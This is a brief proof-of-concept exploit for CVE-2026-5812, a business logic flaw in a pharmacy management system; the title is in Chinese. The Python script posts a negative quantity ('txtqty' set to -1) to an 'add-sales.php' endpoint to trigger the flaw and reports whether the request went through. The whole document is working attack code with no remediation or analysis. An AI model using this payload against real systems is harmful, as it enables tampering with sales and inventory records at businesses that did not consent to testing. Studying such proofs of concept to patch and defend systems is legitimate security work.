CVE-2026-5812: 药店管理系统业务逻辑漏洞

import requests # Target URL vulnerable endpoint target_url = "http://target/path/add-sales.php" # Payload data with manipulated 'txtqty' parameter # Setting quantity to a negative value to trigger business logic error payload = { "txtqty": "-1", # Malicious input "txtproid": "1", "txtprice": "100", "submit": "true" } # Sending the POST request response = requests.post(target_url, data=payload) # Checking response if response.status_code == 200: print("PoC executed successfully. Check application state for logic errors.") else: print("Request failed.")